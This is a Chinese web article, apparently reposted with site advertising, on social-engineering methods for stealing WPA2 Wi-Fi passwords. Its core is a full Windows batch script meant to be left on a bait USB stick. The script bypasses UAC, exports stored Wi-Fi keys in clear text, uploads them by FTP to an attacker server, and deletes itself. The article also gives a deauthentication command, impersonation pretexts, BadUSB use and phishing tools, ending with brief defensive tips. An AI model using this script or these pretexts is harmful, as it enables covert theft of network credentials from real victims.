常见社工破解WPA2密码方法及防范措施

1. 前言

10余年的交城网站建设经验，针对设计、前端、开发、售后、文案、推广等六对一服务，响应快，48小时及时工作处理。全网营销推广的优势是能够根据用户设备显示端的尺寸不同，自动调整交城建站的显示方式，使网站能够适用不同显示终端，在浏览器中调整网站的宽度，无论在任何一种浏览器上浏览网站，都能展现优雅布局与设计，从而大程度地提升浏览体验。创新互联从事“交城网站设计”,“交城网站推广”以来，每个客户项目都认真落实执行。

何为社工?社工是一种通过利用受害者心理弱点，如本能反应、好奇心、同情心、信任、贪婪等进行诸如欺骗、盗取、控制等非法手段的一种攻击方式。在无线安全中也可以利用社工做到许多非法操作。下面举几个利用社工盗取wpa2密码的例子。

2. 移动存储攻击

某宝小容量u盘，在u盘中存放一个bat批处理文件，并命名为诱使人点开的标题，如：windows电脑优化、私人照片等等。其实bat文件的内容是这个：

 
 
 
 
    
  
  
  
  
  1. @echo off 
    2. 
  
  
  
  
  2. >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" 
    3. 
  
  
  
  
  3. if '%errorlevel%' NEQ '0' ( 
    4. 
  
  
  
  
  4. goto UACPrompt 
    5. 
  
  
  
  
  5. ) else ( goto gotAdmin ) 
    6. 
  
  
  
  
  6. :UACPrompt 
    7. 
  
  
  
  
  7. echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" 
    8. 
  
  
  
  
  8. echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs" 
    9. 
  
  
  
  
  9. "%temp%\getadmin.vbs" 
    10. 
  
  
  
  
  10. exit /B 
    11. 
  
  
  
  
  11. :gotAdmin 
    12. 
  
  
  
  
  12. if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" ) 
    13. 
  
  
  
  
  13. md c:\win 
    14. 
  
  
  
  
  14. netsh wlan export profile key=clear folder=c:\win 
    15. 
  
  
  
  
  15. echo open 服务器ip>C:\config.txt 
    16. 
  
  
  
  
  16. echo user 账号>>C:\config.txt 
    17. 
  
  
  
  
  17. echo 密码>>C:\config.txt 
    18. 
  
  
  
  
  18. echo mput c:\win\*.xml>>C:\config.txt 
    19. 
  
  
  
  
  19. echo yes>>C:\config.txt 
    20. 
  
  
  
  
  20. echo yes>>C:\config.txt 
    21. 
  
  
  
  
  21. echo yes>>C:\config.txt 
    22. 
  
  
  
  
  22. echo yes>>C:\config.txt 
    23. 
  
  
  
  
  23. echo yes>>C:\config.txt 
    24. 
  
  
  
  
  24. echo yes>>C:\config.txt 
    25. 
  
  
  
  
  25. echo yes>>C:\config.txt 
    26. 
  
  
  
  
  26. echo yes>>C:\config.txt 
    27. 
  
  
  
  
  27. echo yes>>C:\config.txt 
    28. 
  
  
  
  
  28. echo yes>>C:\config.txt 
    29. 
  
  
  
  
  29. echo yes>>C:\config.txt 
    30. 
  
  
  
  
  30. echo yes>>C:\config.txt 
    31. 
  
  
  
  
  31. echo yes>>C:\config.txt 
    32. 
  
  
  
  
  32. echo yes>>C:\config.txt 
    33. 
  
  
  
  
  33. echo yes>>C:\config.txt 
    34. 
  
  
  
  
  34. echo yes>>C:\config.txt 
    35. 
  
  
  
  
  35. echo yes>>C:\config.txt 
    36. 
  
  
  
  
  36. echo yes>>C:\config.txt 
    37. 
  
  
  
  
  37. echo yes>>C:\config.txt 
    38. 
  
  
  
  
  38. echo yes>>C:\config.txt 
    39. 
  
  
  
  
  39. echo yes>>C:\config.txt 
    40. 
  
  
  
  
  40. echo yes>>C:\config.txt 
    41. 
  
  
  
  
  41. echo yes>>C:\config.txt 
    42. 
  
  
  
  
  42. echo yes>>C:\config.txt 
    43. 
  
  
  
  
  43. echo yes>>C:\config.txt 
    44. 
  
  
  
  
  44. echo yes>>C:\config.txt 
    45. 
  
  
  
  
  45. echo yes>>C:\config.txt 
    46. 
  
  
  
  
  46. echo yes>>C:\config.txt 
    47. 
  
  
  
  
  47. echo yes>>C:\config.txt 
    48. 
  
  
  
  
  48. echo yes>>C:\config.txt 
    49. 
  
  
  
  
  49. echo yes>>C:\config.txt 
    50. 
  
  
  
  
  50. echo yes>>C:\config.txt 
    51. 
  
  
  
  
  51. echo yes>>C:\config.txt 
    52. 
  
  
  
  
  52. echo yes>>C:\config.txt 
    53. 
  
  
  
  
  53. echo yes>>C:\config.txt 
    54. 
  
  
  
  
  54. echo yes>>C:\config.txt 
    55. 
  
  
  
  
  55. echo yes>>C:\config.txt 
    56. 
  
  
  
  
  56. echo yes>>C:\config.txt 
    57. 
  
  
  
  
  57. echo yes>>C:\config.txt 
    58. 
  
  
  
  
  58. echo yes>>C:\config.txt 
    59. 
  
  
  
  
  59. echo yes>>C:\config.txt 
    60. 
  
  
  
  
  60. echo yes>>C:\config.txt 
    61. 
  
  
  
  
  61. echo yes>>C:\config.txt 
    62. 
  
  
  
  
  62. echo yes>>C:\config.txt 
    63. 
  
  
  
  
  63. echo yes>>C:\config.txt 
    64. 
  
  
  
  
  64. echo yes>>C:\config.txt 
    65. 
  
  
  
  
  65. echo yes>>C:\config.txt 
    66. 
  
  
  
  
  66. echo yes>>C:\config.txt
    67. 
  
  
  
  
  67. echo yes>>C:\config.txt 
    68. 
  
  
  
  
  68. echo yes>>C:\config.txt 
    69. 
  
  
  
  
  69. echo yes>>C:\config.txt 
    70. 
  
  
  
  
  70. echo yes>>C:\config.txt 
    71. 
  
  
  
  
  71. echo yes>>C:\config.txt 
    72. 
  
  
  
  
  72. echo bye>>C:\config.txt 
    73. 
  
  
  
  
  73. ftp -n -s:"C:\config.txt" 
    74. 
  
  
  
  
  74. del C:\config.txt 
    75. 
  
  
  
  
  75. del C:\win\*.xml 
    76. 
  
  
  
  
  76. del %0
    77.

这个bat脚本会读取本机连接过的wifi信息(包括密码)打包到一个文件夹里并全部put到服务器上，然后删除痕迹和自身防止服务器信息泄露。最后攻击者就可以在自己的ftp服务器里挑选自己中意的wifi了。

攻击演示：

打开此脚本

弹出cmd界面，1秒后消失(太快了不好截)，bat脚本也随之消失

查看ftp服务器

wifi信息已经put上来了

进入服务器打开一个xml文件

就拿到了密码

可以自己在里面添加功能使社工效果更好，例如脚本名称命名为某某公司有奖问卷调查，并添加打开调查问卷的命令，使攻击神不知鬼不觉。

3. 直接接触受害者

(1) 使用Deauthentication攻击

 
 
 
 
    
  
  
  
  
  1. aireplay-ng –deauth 10000 -a xx:xx:xx:xx:xx:xx -c xx:xx:xx:xx:xx:xx mon0
    2.

在下班休息的时候(这个时候普遍在使用网络)对受害者使用断网攻击，等一小时后去敲门，询问网络是否故障，询问网络是哪家公司配置的，然后声称自己的网络也故障了，是一样的公司，然后询问报修电话并拨打，其实拨打的是其他人或根本没有拨打，然后假装是保修人员提示让自己重启路由器，攻击者就可以接触到受害者路由器，运气好的话路由器背面有pin码，就可以撤退了。如果没有，攻击者就进一步施压，假装被保修人员提示打开路由器管理界面在管理界面重启路由器，乘机看到密码。重启完毕后手机ssh连接kali停止攻击，造成重启成功修复网络的假象，然后撤退。

(2) 结合移动存储攻击，配合badusb，谎称有重要文件需要发送然而手机没电了，家里人还没下班。第一天进公司不想留下坏印象，从而直接接触受害者电脑，插入badusb，执行bat脚本或木马

(3) 谎称自己是某某公司或某某大学的，正在进行网民安全意识的问卷调查，并将其中带有提问wifi密码的问卷递交受害者，从而获得wifi密码

4. wifi钓鱼

利用fluxion、wifiphisher等工具实施钓鱼攻击：

  • https://github.com/FluxionNetwork/fluxion
  • https://github.com/sophron/wifiphisher ——项目地址

它们的大概原理是抓取受害者客户端与wifi的握手包，对目标客户端实施wifi拒绝服务攻击，发送大量解离包，然后伪造一个相同名称的ap，受害者连接伪造的ap后会被解析到这个页面：

受害者输入密码后会自动与抓取的握手包进行比对，若正确，则停止拒绝服务攻击。网上有很多wifi钓鱼的教程，这里就不再阐述。

4. 防御措施

  • 绑定mac地址，设置白名单，只允许自己的机器连接wifi
  • 隐藏wifi广播，避免自己成为目标
  • 不要插入来路不明的u盘，不要打开来路不明的程序，不要连接来路不明的无线信号
  • 尽量不让陌生人接触到自己的设备
  • wifi最好使用wpa2加密，并使密码复杂度越高越好，尽量别在密码里使用和自己有关的信息
  • 定期更换路由器管理界面密码和wifi密码
  • 最好关闭路由器上的wps功能
  • 尽量不使用wifi万能钥匙等类似软件

新闻名称：常见社工破解WPA2密码方法及防范措施
分享地址：http://www.shufengxianlan.com/qtweb/news11/297911.html

网站建设、网络推广公司-创新互联，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联

猜你还喜欢下面的内容

App开发知识

各行业网站

微信小程序开发　　 　虚拟主机　　 　重庆企业网站建设　　 　消防维保　　 　泸州叙永网站建设　　 　广西弘博建站　　 　网站SEO优化　　 　做网站　　 　新都网站建设　　 　网站设计　　 　川银永信　　 　绵阳托管服务器　　 　重庆企业网站建设　　 　网站建设　　 　网站制作　　 　校园网站建设方案　　 　上市企业网站建设方案　　 　成都网站推广　　 　重庆水土双线托管　　 　成都网站设计